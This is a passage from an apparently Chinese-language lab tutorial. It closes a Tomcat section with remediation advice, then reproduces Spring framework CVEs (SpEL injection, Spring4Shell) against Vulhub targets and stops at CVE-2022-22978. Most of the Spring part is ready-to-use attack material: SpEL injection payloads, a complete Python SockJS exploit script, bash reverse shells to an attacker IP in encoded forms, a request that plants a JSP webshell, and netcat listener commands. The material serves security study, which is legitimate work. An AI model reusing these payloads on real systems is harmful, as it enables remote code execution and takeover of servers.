CVE-2025-24813	反序列化 RCE	部分 PUT + Session 持久化	写入序列化对象 + 操作 JSESSIONID
CVE-2026-34486	反序列化 RCE	Tribes 4000 端口	绕过 EncryptInterceptor 发送 payload
弱口令	后台管理	manager 后台	弱口令登录后上传 war 包

核心本质：Tomcat 的漏洞利用通常需要特定的错误配置作为前提——readonly=false、Session 持久化开启、Tribes 集群启用、弱口令等。这提醒我们，生产环境中应严格遵循安全配置基线，关闭不必要的功能和端口。

四、修复方案#

漏洞	修复版本	临时措施
CVE-2017-12615	Tomcat 8.5.20+	确保 DefaultServlet 的 `readonly=true`
CVE-2020-1938	Tomcat 9.0.31 / 8.5.51 / 7.0.100+	关闭 AJP 连接器或配置 `secret` 认证
CVE-2025-24813	Tomcat 9.0.98 / 10.1.35 / 11.0.3+	关闭 Session 持久化或设置 `readonly=true`
CVE-2026-34486	升级到官方修复版本	关闭 Tribes 集群或限制 4000 端口访问
弱口令	无版本修复	移除默认用户、使用强密码、限制 manager 访问 IP

通用建议：

及时升级 Tomcat 到最新安全版本
将 DefaultServlet 的 readonly 设置为 true（默认值）
如非必要，关闭 AJP 连接器；如必须使用，配置 secret 和 address 限制
生产环境禁用 Session 持久化，或将其存储在安全路径
限制 Tribes 接收端口的网络访问，仅允许集群内节点通信
移除 tomcat-users.xml 中的默认用户，使用强密码，并限制 manager 页面的访问 IP
部署 WAF，拦截包含 PUT 方法、异常 Content-Range 头、JSESSIONID=.xxx 等特征的恶意请求

Spring Framework

2026-10-10T01:00:00.000Z

项目	详情
攻击机	Kali Linux（IP：192.168.197.128）
靶机	Ubuntu Server 24.04（IP：192.168.197.88）
CVSS 评分	CVE-2022-22965: 9.8（严重） / CVE-2022-22947: 10.0（严重） / CVE-2022-22963: 9.8（严重）
典型漏洞编号	CVE-2022-22965（Spring4Shell）/ CVE-2022-22947（Spring Cloud Gateway RCE）/ CVE-2022-22963（Spring Cloud Function RCE）/ CVE-2017-8046（Spring Data REST RCE）/ CVE-2018-1270（Spring Messaging RCE）
影响组件	Spring Framework 5.3.0 ~ 5.3.17 / Spring Cloud Gateway 3.1.0 ~ 3.1.1 / Spring Cloud Function 3.2.2 等
漏洞类型	SpEL 表达式注入 / 数据绑定（Data Binding）→ 远程代码执行（RCE）/ 权限绕过
利用条件	使用漏洞版 Spring 组件 + 用户可控的 SpEL 表达式或数据绑定入口
核心原理	SpEL 表达式未安全过滤，或数据绑定未限制类属性访问，导致恶意代码执行

一、漏洞原理#

Spring 框架的漏洞家族，主要围绕两条核心技术主线展开：SpEL 表达式注入和数据绑定（Data Binding）。

SpEL（Spring Expression Language） 是 Spring 框架提供的一种强大的表达式语言，设计初衷是支持在运行时查询和操作对象图。它语法类似 OGNL，支持方法调用、属性访问、类实例化等。Spring 在多个组件中使用 SpEL 来处理动态表达式，包括 Spring Security OAuth2、Spring Data REST、Spring Messaging、Spring Cloud Gateway、Spring Cloud Function 等。当用户可控的输入被拼接到 SpEL 表达式中并由 StandardEvaluationContext 解析执行时，攻击者就可以构造恶意表达式调用 java.lang.Runtime 执行系统命令，形成远程代码执行（RCE）。

数据绑定（Data Binding） 是 Spring MVC 的核心功能之一，它负责将 HTTP 请求参数自动映射到 Java 对象的属性上。在 CVE-2022-22965（Spring4Shell）中，攻击者利用数据绑定机制，通过 class.module.classLoader 访问链，逐级操控 Tomcat 的日志配置属性，最终将 Webshell 写入 Web 根目录。这条攻击链不依赖 SpEL 注入，而是利用 Java Bean 属性绑定的递归访问能力，属于另一条独特的技术路线。

除上述两类核心漏洞外，Spring 生态还出现过认证绕过（CVE-2022-22978）和路径穿越（CVE-2025-41242）等漏洞，前者利用正则表达式 . 的匹配缺陷，后者利用 Spring 与 Jetty 之间 URI 解码的不一致性，都非常具有研究价值。

二、漏洞复现#

1. CVE-2016-4977（Spring Security OAuth2 SpEL 注入）#

Spring Security OAuth 在使用 whitelabel views 处理错误时，由于使用了 SpEL 解析错误参数，攻击者在被授权的情况下可以通过构造恶意参数远程执行命令。

① 验证漏洞是否可利用

访问以下 URL：

1
http://192.168.197.88:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test

然后在弹出登录框中输入admin，如果页面返回54289（233×233 的结果），说明SpEL表达式已被执行，漏洞存在。 ② 反弹 Shell

反弹shell的命令为：

1
bash -i >& /dev/tcp/192.168.197.128/4444 0>&1

base64编码后得到：

1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5Ny4xMjgvNDQ0NCAwPiYx

拼装成 Java 环境下的反弹命令（下面要用）：

1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5Ny4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}

使用 poc.py 生成反弹 Shell 的 SpEL 表达式：

1
#!/usr/bin/env python
2
message = input('Enter message to encode:')
3
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
4
for ch in message[1:]:
5
   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
6
poc += ')}'
7
print(poc)

执行该python代码：

1
python3 poc.py

当出现 Enter message to encode: 时，粘贴上面那一整行反弹命令，然后回车，得到SpEL表达式：然后需要将生成的 SpEL 语句拼接到 response_type 参数值中：

1
http://192.168.197.88:8080/oauth/authorize?response_type=<粘贴生成的SpEL表达式>&client_id=acme&scope=openid&redirect_uri=http://test

因此得到完整的 URL 如下：

1
http://192.168.197.88:8080/oauth/authorize?response_type=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(53)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(68)).concat(T(java.lang.Character).toString(81)).concat(T(java.lang.Character).toString(48)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(80)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}&client_id=acme&scope=openid&redirect_uri=http://test

同时kali记得开启端口监听：

1
nc -lvnp 4444

在浏览器访问该URL：此时查看kali，发现反弹shell成功：

2. CVE-2017-4971（Spring WebFlow SpEL 注入）#

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架（如购物逻辑），可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中，如果我们控制了数据绑定时的 field，将导致一个 SpEL 表达式注入漏洞，最终造成任意命令执行。

① 登录系统

访问 http://192.168.197.88:8080/login，使用页面左侧给出的任意账号/密码登录。 ② 进入预订流程

直接点击查找酒店：选择第一个，点击查看酒店：填写信息后点击 “Process”，再点击 “Confirm”（从这一步，其实 WebFlow 就正式开始了）。注意下面点击 “Confirm”之前，先要在BurpSuite开启抓包。 ③ 注入 Payload

抓取 POST 数据包，向其中添加以下字段：

1
_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/192.168.197.128/4444 0>&1")).start()=vulhub

注意对 Payload 进行 URL 编码：

1
_%28new%20java%2Elang%2EProcessBuilder%28%22bash%22%2C%22-c%22%2C%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192%2E168%2E197%2E128%2F4444%200%3E%261%22%29%29%2Estart%28%29=vulhub

接着在kali开启端口监听：

1
nc -lvnp 4444

回到BurpSuite点击发送数据包，然后查看kali，发现反弹shell成功：

3. CVE-2017-8046（Spring Data REST SpEL 注入）#

Spring Data REST 的 PATCH 方法中，JSON Patch 的 path 值被传入 setValue，导致 SpEL 表达式执行。

① 验证漏洞

发送以下 PATCH 请求：

1
PATCH /customers/1 HTTP/1.1
2
Host: 192.168.197.88:8080
3
Content-Type: application/json-patch+json
4
Content-Length: 202
5

6
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

下面解释一下上面的 PATCH 请求是在干什么。

这个字节数组：

1
{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}

每个数字对应一个 ASCII 字符（例如116对应t，111对应o），逐个转成字符就是：

1
touch /tmp/success

也就是说，这个 Payload 最终执行的是：

1
Runtime.getRuntime().exec(new String("touch /tmp/success"))

作用是在靶机容器的 /tmp 目录下创建一个名为 success 的文件，用来验证命令执行是否成功。

那为什么要用字节数组，而不直接写字符串？

直接用字符串的话，SpEL 表达式会变成：

1
T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")/lastname

这样写会带来几个问题：

空格问题：SpEL 表达式中的空格可能被解析器截断或误判。
引号问题：JSON 里嵌 JSON，字符串里的双引号需要转义，很容易写错。
特殊字符过滤：有些版本对 exec(”…”) 这种直接传字符串的写法有安全过滤，但用 new String(new byte[]{…}) 可以绕过简单的关键字检测。
兼容性更好：字节数组完全避免了引号和空格，传给 SpEL 解析器时更“干净”。

点击发送后，进入容器验证：

1
docker-compose exec spring bash
2
ls -l /tmp/success

如果文件存在，说明命令执行成功。 ② 反弹 Shell

只需要把字节数组替换成反弹 Shell 命令的 ASCII 码即可。例如：

1
bash -i >& /dev/tcp/192.168.197.128/4444 0>&1

但是上面的命令会直接失败，因为 Java Runtime.exec() 的执行方式——它不通过 Shell 解析命令，所以 >& 和 /dev/tcp 这些 Shell 特殊语法不会被解释，命令直接失败。

解决方案： 用 bash -c 包裹 + Base64 编码。也就是让 Java 只调用 bash -c，把真正的命令通过 Base64 传递，避免空格和特殊字符被 Java 切碎（这种情况前面2道题也有出现，但是当时并没有特别说明，后面的话就直接使用这种不会失败的反弹shell了）。

首先将上面的命令进行base64编码：

1
echo -n 'bash -i >& /dev/tcp/192.168.197.128/4444 0>&1' | base64

得到：

1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5Ny4xMjgvNDQ0NCAwPiYx

然后拼装命令：

1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5Ny4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}

接下来要生成字节数组，可以使用python快速生成对应的字节数组：

1
cmd = 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5Ny4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}'
2

3
print(','.join(str(ord(c)) for c in cmd))

得到下面的字节数组：

1
98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,53,78,121,52,120,77,106,103,118,78,68,81,48,78,67,65,119,80,105,89,120,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125

然后把生成的数组填入 Payload：

1
PATCH /customers/1 HTTP/1.1
2
Host: 192.168.197.88:8080
3
Content-Type: application/json-patch+json
4
Content-Length: 202
5

6
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,53,78,121,52,120,77,106,103,118,78,68,81,48,78,67,65,119,80,105,89,120,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname", "value": "vulhub" }]

使用BurpSuite发送后即可获得反弹 Shell。

4. CVE-2018-1270（Spring Messaging SpEL 注入）#

Spring Messaging 基于 SockJS，底层适配 WebSocket 或 HTTP。在 Vulhub 环境中，可以直接使用 HTTP 复现。Spring Messaging 允许客户端订阅消息并使用 selector 过滤消息，selector 用 SpEL 表达式编写并使用 StandardEvaluationContext 解析，造成命令执行漏洞。

① 验证漏洞是否可利用（POC脚本）

目录下提供了 exploit.py（需 Python 3.6 执行），修改其中的 URL 为靶机地址（代码如下）：

1
#!/usr/bin/env python3
2
import requests
3
import random
4
import string
5
import time
6
import threading
7
import logging
8
import sys
9
import json
10
logging.basicConfig(stream=sys.stdout, level=logging.INFO)
11

12
def random_str(length):
13
    letters = string.ascii_lowercase + string.digits
14
    return ''.join(random.choice(letters) for c in range(length))
15

16
class SockJS(threading.Thread):
17
    def __init__(self, url, *args, **kwargs):
18
        super().__init__(*args, **kwargs)
19
        self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
20
        self.daemon = True
21
        self.session = requests.session()
22
        self.session.headers = {
23
            'Referer': url,
24
            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
25
        }
26
        self.t = int(time.time()*1000)
27
    def run(self):
28
        url = f'{self.base}/htmlfile?c=_jp.vulhub'
29
        response = self.session.get(url, stream=True)
30
        for line in response.iter_lines():
31
            time.sleep(0.5)
32
    def send(self, command, headers, body=''):
33
        data = [command.upper(), '\n']
34
        data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
35
        data.append('\n\n')
36
        data.append(body)
37
        data.append('\x00')
38
        data = json.dumps([''.join(data)])
39
        response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
40
        if response.status_code != 204:
41
            logging.info(f"send '{command}' data error.")
42
        else:
43
            logging.info(f"send '{command}' data success.")
44
    def __del__(self):
45
        self.session.close()
46

47
sockjs = SockJS('http://192.168.197.88:8080/gs-guide-websocket')
48
sockjs.start()
49
time.sleep(1)
50
sockjs.send('connect', {
51
    'accept-version': '1.1,1.0',
52
    'heart-beat': '10000,10000'
53
})
54
sockjs.send('subscribe', {
55
    'selector': "T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')",
56
    'id': 'sub-0',
57
    'destination': '/topic/greetings'
58
})
59
data = json.dumps({'name': 'vulhub'})
60
sockjs.send('send', {
61
    'content-length': len(data),
62
    'destination': '/app/hello'
63
}, data)

展开收起

把上面的脚本保存到kali桌面。

由于最新版kali默认的python版本为3.13.12，同时apt不能安装python 3.6，因此使用docker来解决python环境问题。

首先使用下面的命令拉取python 3.6的镜像：

1
docker pull python:3.6

然后使用下面的命令将桌面挂载到容器中，同时进入容器的shell，以便使用容器内的环境：

1
docker run --rm -it \
2
  --network host \
3
  -v /root/桌面:/workspace \
4
  -w /workspace \
5
  python:3.6 bash
6

7
#参数说明：
8
--rm：容器退出后自动删除
9
-it：交互式终端
10
--network host：容器直接使用 Kali 的网络栈（关键！否则靶机无法回连）
11
-v /root/桌面:/workspace：把宿主机目录挂载进容器
12
-w /workspace：设置工作目录
13
python:3.6：使用的镜像
14
bash：进入容器的 shell

进入容器后，会看到提示符变成类似 root@kali:/workspace#，表示进入了容器内部，依次执行：

1
pip install requests
2
python exploit.py

脚本会自动订阅消息并发送触发请求，使后端执行 SpEL 表达式。此时如果进入靶机的docker容器中查看，发现在tmp目录下多了success文件，说明POC脚本成功执行，漏洞可以利用。

1
docker compose exec spring bash
2
ls -la /tmp/success

② 反弹 Shell

先在 Kali 上生成 Base64：

1
echo -n 'bash -i >& /dev/tcp/192.168.197.128/4444 0>&1' | base64

得到：

1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5Ny4xMjgvNDQ0NCAwPiYx

然后修改 selector：

1
'selector': "T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5Ny4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}')",

完整的payload如下：

1
#!/usr/bin/env python3
2
import requests
3
import random
4
import string
5
import time
6
import threading
7
import logging
8
import sys
9
import json
10
logging.basicConfig(stream=sys.stdout, level=logging.INFO)
11

12
def random_str(length):
13
    letters = string.ascii_lowercase + string.digits
14
    return ''.join(random.choice(letters) for c in range(length))
15

16
class SockJS(threading.Thread):
17
    def __init__(self, url, *args, **kwargs):
18
        super().__init__(*args, **kwargs)
19
        self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
20
        self.daemon = True
21
        self.session = requests.session()
22
        self.session.headers = {
23
            'Referer': url,
24
            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
25
        }
26
        self.t = int(time.time()*1000)
27
    def run(self):
28
        url = f'{self.base}/htmlfile?c=_jp.vulhub'
29
        response = self.session.get(url, stream=True)
30
        for line in response.iter_lines():
31
            time.sleep(0.5)
32
    def send(self, command, headers, body=''):
33
        data = [command.upper(), '\n']
34
        data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
35
        data.append('\n\n')
36
        data.append(body)
37
        data.append('\x00')
38
        data = json.dumps([''.join(data)])
39
        response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
40
        if response.status_code != 204:
41
            logging.info(f"send '{command}' data error.")
42
        else:
43
            logging.info(f"send '{command}' data success.")
44
    def __del__(self):
45
        self.session.close()
46

47
sockjs = SockJS('http://192.168.197.88:8080/gs-guide-websocket')
48
sockjs.start()
49
time.sleep(1)
50
sockjs.send('connect', {
51
    'accept-version': '1.1,1.0',
52
    'heart-beat': '10000,10000'
53
})
54

55
# ============ 修改点：改成反弹 Shell 的 SpEL ============
56
sockjs.send('subscribe', {
57
    'selector': "T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5Ny4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}')",
58
    'id': 'sub-0',
59
    'destination': '/topic/greetings'
60
})
61
data = json.dumps({'name': 'vulhub'})
62
sockjs.send('send', {
63
    'content-length': len(data),
64
    'destination': '/app/hello'
65
}, data)

展开收起

同样需要在kali上面开启端口监听，然后在docker容器中执行该脚本后，可以发现反弹shell成功：

5. CVE-2018-1273（Spring Data Commons SpEL 注入）#

Spring Data 是一个用于简化数据库访问，并支持云服务的开源框架，Spring Data Commons 是 Spring Data 下所有子项目共享的基础框架。Spring Data Commons 在 2.0.5 及以前版本中，存在一处 SpEL 表达式注入漏洞，攻击者可以注入恶意 SpEL 表达式以执行任意命令。

① 抓取注册请求

访问 http://192.168.197.88:8080/users，在用户注册页面抓取 POST 请求。

② 注入 Payload

将请求体修改为：

1
POST /users?page=&size=5 HTTP/1.1
2
Host: 192.168.197.88:8080
3
Content-Length: 46
4
Cache-Control: max-age=0
5
Upgrade-Insecure-Requests: 1
6
Origin: http://192.168.197.88:8080
7
Content-Type: application/x-www-form-urlencoded
8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
9
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10
Referer: http://192.168.197.88:8080/users
11
Accept-Encoding: gzip, deflate
12
Accept-Language: zh-CN,zh;q=0.9
13
Connection: close
14

15
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

展开收起

这里可以发现POC其实就是把：

原来的普通参数名 username 替换成了 username[恶意 SpEL 表达式]
原来的参数值 111 删掉或留空（这里直接写 = 后面无值）
后面的 password 和 repeatedPassword 保持原样（留空也可以）

为什么这样能触发漏洞？

Spring Data Commons在把请求参数绑定到实体对象时，会解析参数名中的属性路径。当参数名写成username[…]这种形式时，方括号内的内容会被当作SpEL表达式来求值。

所以攻击者只要在方括号里塞入恶意SpEL表达式，Spring Data在绑定过程中就会执行这段代码，从而实现任意命令执行。发送请求后进入容器验证：

1
docker compose exec spring bash
2
ls -l /tmp/success

将上面的touch /tmp/success替换为反弹Shell命令即可获取 Shell。

首先在Kali上生成反弹shell的Base64的编码：

1
echo -n 'bash -i >& /dev/tcp/192.168.197.128/4444 0>&1' | base64

得到：

1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5Ny4xMjgvNDQ0NCAwPiYx

则原始Payload为（将上面exec函数括号里面的touch /tmp/success内容替换为下面的内容）：

1
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5Ny4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}')]=&password=&repeatedPassword=

对原始Payload进行URL编码：

1
username%5B%23this.getClass%28%29.forName%28%22java.lang.Runtime%22%29.getRuntime%28%29.exec%28%27bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjE5Ny4xMjgvNDQ0NCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27%29%5D=&password=&repeatedPassword=

说明：为什么这里需要对payload进行url编码，而上面的POC却不需要？

关键区别在于：第二个 Payload 里包含了 + 号，而 + 在 application/x-www-form-urlencoded 中会被服务器自动解码成空格，导致 Base64 字符串被破坏，反弹 Shell 命令失效。第一个 Payload（touch /tmp/success）里没有 +、&、% 这些会干扰表单解析的字符，所以即使不编码，服务器也能“容忍”并正确解析。

✅ 最佳实践：无论 Payload 看起来多简单，都建议对参数名和参数值进行完整的 URL 编码，这样可以避免因特殊字符导致的解析错误。

得到最终 POST 请求体：

1
POST /users?page=&size=5 HTTP/1.1
2
Host: 192.168.197.88:8080
3
Content-Length: 265
4
Cache-Control: max-age=0
5
Upgrade-Insecure-Requests: 1
6
Origin: http://192.168.197.88:8080
7
Content-Type: application/x-www-form-urlencoded
8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
9
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10
Referer: http://192.168.197.88:8080/users
11
Accept-Encoding: gzip, deflate
12
Accept-Language: zh-CN,zh;q=0.9
13
Connection: close
14

15
username%5B%23this.getClass%28%29.forName%28%22java.lang.Runtime%22%29.getRuntime%28%29.exec%28%27bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjE5Ny4xMjgvNDQ0NCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27%29%5D=&password=&repeatedPassword=

展开收起

6. CVE-2022-22947（Spring Cloud Gateway SpEL 注入）#

Spring Cloud Gateway 是 Spring 中的一个 API 网关。其 3.1.0 及 3.0.6 版本（包含）以前存在一处 SpEL 表达式注入漏洞，当攻击者可以访问 Actuator API 的情况下，将可以利用该漏洞执行任意命令。

① 添加恶意路由

1
POST /actuator/gateway/routes/hacktest HTTP/1.1
2
Host: 192.168.197.88:8080
3
Content-Type: application/json
4
Content-Length: 329
5

6
{
7
  "id": "hacktest",
8
  "filters": [{
9
    "name": "AddResponseHeader",
10
    "args": {
11
      "name": "Result",
12
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
13
    }
14
  }],
15
  "uri": "http://example.com"
16
}

展开收起

② 触发表达式执行

1
POST /actuator/gateway/refresh HTTP/1.1
2
Host: 192.168.197.88:8080
3
Content-Type: application/x-www-form-urlencoded
4
Content-Length: 0

③ 查看执行结果

1
GET /actuator/gateway/routes/hacktest HTTP/1.1
2
Host: 192.168.197.88:8080

响应中会包含 id 命令的执行结果。 ④ 清理现场（删除路由）

1
DELETE /actuator/gateway/routes/hacktest HTTP/1.1
2
Host: 192.168.197.88:8080

再次发送 POST /actuator/gateway/refresh 刷新路由即可。

后续再将添加恶意路由中的命令改为反弹shell即可，这里不再演示。

7. CVE-2022-22963（Spring Cloud Function SpEL 注入）#

Spring Cloud Function 3.2.2 中，spring.cloud.function.routing-expression 请求头中包含的 SpEL 表达式会被执行。

① 发送恶意请求

1
POST /functionRouter HTTP/1.1
2
Host: 192.168.197.88:8080
3
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
4
Content-Type: text/plain
5
Content-Length: 4
6

7
test

② 验证结果

1
docker compose exec spring bash
2
ls -l /tmp/success

将 touch /tmp/success 替换为反弹 Shell 命令即可获取 Shell，这里不再演示。

8. CVE-2022-22965（Spring4Shell 数据绑定 RCE）#

在 JDK 9+ 上运行的 Spring MVC 应用，若以 WAR 包形式部署在 Tomcat 中，攻击者可通过数据绑定修改 Tomcat 日志配置，写入 JSP Webshell。

服务启动后，访问 http://192.168.197.88:8080/?name=Bob&age=25 即可看到一个演示页面。

① 修改 Tomcat 日志配置

发送以下 GET 请求：

1
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
2
Host: 192.168.197.88:8080
3
suffix: %>//
4
c1: Runtime
5
c2: <%
6
DNT: 1

② 访问 Webshell

1
http://192.168.197.88:8080/tomcatwar.jsp?pwd=j&cmd=id

③ 清理配置

利用完成后，必须将 pattern 设置为空，否则每次请求都会写入新的恶意代码在 JSP Webshell 中，导致这个文件变得很大，发送如下数据包将其设置为空：

1
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern= HTTP/1.1
2
Host: 192.168.197.88:8080

将 cmd=id 替换为反弹 Shell 命令即可获取 Shell，后续不再演示。

注意：该漏洞会修改目标服务器配置，实际测试中可能导致目标崩溃（需要重启才能恢复），请谨慎操作。

9. CVE-2022-22978（Spring Security 认证绕过）#

Spring Security 用于在 Spring 框架中提供安全认证功能。在 Spring Security 5.5.6、5.6.3 及更早的不受支持版本中，使用带有 . 的正则表达式的 RegexRequestMatcher 的应用程序可能存在认证绕过漏洞。

① 正常访问被拒绝

